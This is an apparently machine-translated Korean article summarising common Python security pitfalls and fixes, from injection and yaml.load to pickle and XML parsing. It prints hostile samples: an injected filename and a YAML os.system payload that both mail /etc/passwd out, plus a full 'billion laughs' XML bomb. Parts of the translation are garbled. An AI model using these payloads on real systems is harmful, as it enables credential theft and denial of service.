Python의 일반적인 보안 문제 상세 요약
1. 입력 주입
주입 공격은 매우 광범위하고 흔하며 주입에는 많은 종류가 있는데 그들은 모든 언어, 구조와 환경에 영향을 미친다.
SQL 주입은 ORM이 아닌 SQL 질의를 직접 작성할 때 문자열 글꼴과 변수를 혼합합니다.지원 https://www.jb51.net/article/187001.htm
이 링크는 SQL 주입이 발생할 수 있는 모든 복잡한 방식을 보여 줍니다.
명령 주입은 popen,subprocess,os를 사용할 수 있습니다.시스템이 프로세스를 호출하고 변수에서 파라미터를 가져올 때 발생합니다. 로컬 명령을 호출할 때 일부 값을 악의적인 값으로 설정할 수 있습니다.
다음은 사용자가 제공한 파일 이름을 사용하여 하위 프로세스를 호출하는 간단한 스크립트입니다.
import subprocess
def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!
공격자는 Filename의 값을 “; cat / etc / passwd | mail [email protected]
또는 다른 위험한 것으로 설정합니다.수정:
만약 웹 프레임워크를 사용한다면, 충분한 이유가 있지 않으면 SQL 조회를 수동으로 구축하지 말고, 대부분의 ORM은 내장된 소독 방법을 가지고 있습니다.
셸에 대해shlex 모듈을 사용하여 정확하게 입력할 수 있습니다.
2. assert 문장(Assert statements)
사용자가 접근할 수 없는 코드 세그먼트에 접근하지 못하도록 assert 문장을 사용하지 마십시오.
def foo(request, user):
assert user.is_admin, “user does not have access”
# secure code...
현재, 기본적으로, Python은 __debug__
을true로 스크립트를 실행하지만, 생산 환경에서는 일반적으로 최적화된 운행을 사용하며, 이것은 assert 문장을 건너뛰고 보안 코드로 바로 이동합니다. 사용자가 is_admin
이든 아니든.수정:
단원 테스트에서나 잘못된 API 사용을 방지하기 위해 다른 개발자와 통신할 때만 assert 문장을 사용합니다.
3. 타이밍 공격(Timing attacks)
시간 공격은 본질적으로 시간 비교를 통해 값을 제공하는 데 필요한 시간을 통해 행위와 알고리즘을 노출하는 방식이다.시간 공격은 정확성이 필요하기 때문에 보통 지연이 높은 원격 네트워크에 사용할 수 없다.대부분의 웹 응용 프로그램은 가변 지연과 관련되기 때문에 HTTP 웹 서버에서 시간 공격을 작성할 수 거의 없다.
단, 암호를 입력하라는 명령행 프로그램이 있다면, 공격자는 그 값을 실제 암호와 비교하는 데 필요한 시간을 계산하기 위해 간단한 스크립트를 작성할 수 있다.
수정:
Python 3.5에 도입된 secrets를 사용합니다.compare_digest는 비밀번호와 다른 비밀 값을 비교합니다.
4. 임시 파일(Temporary files)
Python에서 임시 파일을 만들려면 보통 mktemp () 함수를 사용하여 파일 이름을 만들고 그 이름을 사용하여 파일을 만듭니다.이것은 안전하지 않습니다. 다른 프로세스가 mktemp () 를 호출하고 첫 번째 프로세스를 통해 파일을 만드는 틈을 타서 같은 이름의 파일을 만들 수 있기 때문입니다.이것은 응용 프로그램이 잘못된 데이터를 불러오거나 다른 임시 데이터를 노출할 수 있음을 의미한다.
잘못된 방법을 호출하면 최신 버전의 Python에서 실행 경고가 표시됩니다.
수정:
임시 파일을 생성하려면 tempfile 모듈을 사용하고 mkstemp를 사용하십시오.
5. yaml을 사용합니다.load
PyYAML 문서 참조:
: yaml.load ! yaml.load pickle.load , Python 。
유행하는Python 프로젝트 Ansible의 이 예에서 이 값을 (유효한) YAML로 Ansible Vault에 제공할 수 있습니다. 이것은 파일에서 제공하는 매개 변수를 사용하여 os를 호출합니다.system().
!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]
따라서 사용자가 제공한 값에서 YAML 파일을 효과적으로 불러오면 공격의 문을 열 수 있습니다.수정:
항상 yaml을 우선적으로 사용하지 않습니다.safe_load, 네가 아주 좋은 이유가 있지 않으면.
6. 해석 XML(Parsing XML)
응용 프로그램에서 XML 파일을 로드하고 해석하려면 XML 표준 라이브러리 모듈을 사용하고 있을 수 있습니다.XML을 통한 공격은 대부분 DoS 스타일(데이터를 유출하는 것이 아니라 시스템을 붕괴시키기 위한 것)이며, 특히 외부(즉 신뢰할 수 없는) XML 파일을 해석할 때 흔히 볼 수 있다.
그중에'billion laughs'가 있는데, 왜냐하면 그의payload는 통상적으로 많은(10억)'lols'를 포함하기 때문이다.기본적으로 이 원리는 XML에서 참조 엔티티를 사용할 수 있기 때문에 해석기가 이 XML 파일을 메모리에 불러올 때 G 크기의 메모리(RAM)가 소모된다.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
다른 공격은 외부 실체를 사용하여 확장합니다.XML은 외부 URL에서 엔티티를 참조하는 것을 지원하며, XML 해석기는 일반적으로 이 리소스를 아무 문제 없이 가져와 로드합니다.공격자는 방화벽을 피하고 제한된 자원에 접근할 수 있다. 모든 요청은 외부에서 온 것이 아니라 내부에서 신뢰할 수 있는 IP 주소로 만들어지기 때문이다.고려해야 할 또 다른 상황은 의존적인 제3자 소프트웨어 패키지가 XML(예를 들어 프로필, 원격 API)을 디코딩해야 한다는 것이다.어떤 의존 관계가 이런 유형의 공격을 무시할지 모를 수도 있다.
수정:
표준 라이브러리 모듈을 defusedxml로 교체하면 이러한 유형의 공격에 대한 안전 보호가 증가합니다.
7. 오염된 사이트-packages 또는import 경로
Python의 import 시스템은 매우 유연합니다. 테스트를 위해 패치를 쓰거나 핵심 기능을 다시 불러오려면 아주 좋습니다.
그러나 이것은 파이썬에서 가장 큰 안전 결함 중의 하나이다.
제3자 소프트웨어 패키지를 설치하면 가상 환경에서든 전역적으로든 (일반적으로 권장하지 않음) 이 소프트웨어 패키지의 보안 빈틈을 볼 수 있습니다.일부 PyPi에 발표된 패키지는 유행하는 패키지와 비슷한 이름을 가지고 있지만 임의의 코드를 실행합니다.
고려해야 할 또 다른 상황은 의존적인 의존이다. 그들은 빈틈을 포함할 수도 있고, 시스템을 가져와서Python의 기본 행동을 덮어쓸 수도 있다.
수정:
보다http://PyUp.io모든 응용 프로그램에 가상 환경을 사용하고 전역적인site-packages가 가능한 한 깨끗하고 패키지 서명을 검사하는 보안 서비스입니다.
8. 서열화 Pickles
반서열화pickle 데이터는 YAML과 마찬가지로 엉망입니다.Python 클래스는 문자열이나 호출 가능한 모듈과pickle 서열화를 사용할 때 호출되는 파라미터를 되돌려주는
__reduce__
방법을 설명할 수 있습니다.공격자는 호스트에서 임의의 명령을 실행하기 위해 하위 프로세스 모듈에 대한 인용을 포함할 수 있습니다.수정:
신뢰할 수 없거나 인증되지 않은 출처의 데이터를 픽셀로 반서열화하지 마십시오.JSON과 같은 다른 정렬화 모드로 변경합니다.
9. 시스템 Python을 사용하여 실행할 때 복구하지 않음
대부분의 POSIX 시스템에는 Python 2 버전이 있습니다.
때때로 Python(즉 CPython은 C 언어로 작성된) 해석기 자체에 빈틈이 존재한다. C에서 흔히 볼 수 있는 안전 문제는 메모리 분배와 관련이 있기 때문에 대부분 버퍼 오류이다. CPython은 여러 해 동안 빈틈이 존재했고 모든 빈틈은 후속 버전에서 복구되었다.즉,python을 제때에 업그레이드하여 실행할 때 안전하다는 것이다.
수정:
운영 응용 프로그램에 최신 버전의 Python을 설치하고 수정 업데이트를 즉시 설치합니다!
10. 의존 관계를 복구하지 않는다
python이 실행될 때 정기적으로 의존 관계를 보완해야 하는 것과 유사합니다.
수정:
PyUp처럼 사용합니다.io와 같은 서비스는 업데이트를 검사하고 응용 프로그램에pr를 제출하며 테스트를 실행하여 소프트웨어 패키지가 최신이라는 것을 유지합니다.
Python에서 흔히 볼 수 있는 안전 문제를 상세하게 정리한 이 글은 여기까지 소개합니다. 더 많은 Python 안전 문제에 관한 내용은 저희 이전의 글을 검색하거나 아래의 관련 글을 계속 훑어보십시오. 앞으로 많은 응원 부탁드립니다!
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
Python의 None과 NULL의 차이점 상세 정보그래서 대상 = 속성 + 방법 (사실 방법도 하나의 속성, 데이터 속성과 구별되는 호출 가능한 속성 같은 속성과 방법을 가진 대상을 클래스, 즉 Classl로 분류할 수 있다.클래스는 하나의 청사진과 같아서 하나의 ...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.